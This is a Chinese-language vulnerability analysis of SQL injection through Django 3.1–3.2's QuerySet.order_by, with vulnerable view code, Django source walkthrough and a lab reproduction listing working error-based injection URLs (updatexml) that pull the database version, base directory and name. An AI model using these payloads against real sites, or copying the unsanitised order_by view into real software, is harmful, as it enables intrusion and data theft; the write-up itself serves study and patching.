漏洞影响版本:django 3.1、3.2
概要:Django中QuerySet数据合集的order_by函数存在SQL注入漏洞。
注入点:
order_by传入的值
漏洞分析:
前置知识点
在Django中,想要在数据库中创建表并定义字段只需要在models.py文件中声明一个模型类即可。
这里定义了一个叫Collection的表,表中有一个叫name的字段
from django.db import models
# Create your models here.
class Collection(models.Model):
name = models.CharField(max_length=128)
Django内置了一个ORM框架,从数据库查询出来的结果是一个合集,这个合集就是QuerySet。而order_by这个方法的作用,一般是将查询出来的结果按照某字段的值,由小到大或由大到小进行排序。
views.py的视图函数中,先是获取到了用户传入的参数值order(如果没有传入参数默认值为id)。
然后到Collection表中进行数据查询,对返回的结果按照id值从小到大进行排序
最后使用values()函数将数据合集转换成了一个一个json的数据格式返回
from django.shortcuts import HttpResponse
from .models import Collection
#create your views here
def vul(request):
query = request.GET.get('order',default='id')
q = Collection.objects.order_by(query)
return HttpResponse(q.values())
比如返回的结果按照id值排序Collection.objects.order_by('id')
,是从小到大的顺序。默认query参数传入值为'id'
如果想要变成从大到小,只需要把'id'
变成'-id'
即可。因此可以通过在参数值前面加'-'
来判断,如果返回的顺序颠倒了那么就是使用了order_by。
当运行到Collection.objects.order_by('id')
的时候,主要是进入add_ordering()函数来判断order_by 的排序顺序和表达式。在该函数中进行如下了五个判断:
- 字段中是否带点、
- 字段是否为问号、
- 字段开头是否为短横杠、
- 判断是否在一个map字典、
- 判断是否有额外的参数信息。
如果全部参数无异常会进入self.names_to_path
中进行数据获取,并进行相关逻辑处理,这个过程中是不会进行SQL注入拼接的。
def add_ordering(self, *ordering):
"""
Add items from the 'ordering' sequence to the query's "order by"
clause. These items are either field names (not column names) --
possibly with a direction prefix ('-' or '?') -- or OrderBy
expressions.
If 'ordering' is empty, clear all ordering from the query.
"""
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item:
warnings.warn(
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item,
category=RemovedInDjango40Warning,
stacklevel=3,
)
continue
if item == '?':
continue
if item.startswith('-'):
item = item[1:]
if item in self.annotations:
continue
if self.extra and item in self.extra:
continue
# names_to_path() validates the lookup. A descriptive
# FieldError will be raise if it's not.
self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)
elif not hasattr(item, 'resolve_expression'):
errors.append(item)
if getattr(item, 'contains_aggregate', False):
raise FieldError(
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s' % item
)
if errors:
raise FieldError('Invalid order_by arguments: %s' % errors)
if ordering:
self.order_by += ordering
else:
self.default_ordering = False
当用户输入的字段中带了点'id.'
,就会跳出循环进入到_fetch_all
(在查询数据后对查询出的数据的读取方式)中,这个时候会进行SQL查询:
SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY ("id".) ASC
可以看到会把点带进查询。也就是说把'id.'
进行了拼接。
因此可以尝试闭合语句并配合debug回显进行报错注入:
SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);# ASC
这里是报错注入,注出数据库版本
- 闭合方法为:
APP名_数据库名.数据库存在的字段名);
在这里即为vuln_collection.id);
复现过程
docker启动靶场
访问漏洞页面
对参数order,或者说对是否存在漏洞进行检验
利用报错注入,得到想要的信息
这里由于是GET方式传递参数,故这里可以直接在URL中进行注入,由于浏览器会自动进行转码,所以我在这里直接输入源注入语句,实际应为
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20version())),1)%23
payload:
目录:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20@@basedir)),1)%23
版本:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20version())),1)%23
数据库名:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20database())),1)%23
知识点:
updatexml报错注入原理:
concat()
函数是将其连成一个字符串,因此不会符合XPath_string
的格式,因此会造成格式错误
0x7e
ASCII码,实际为~
,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符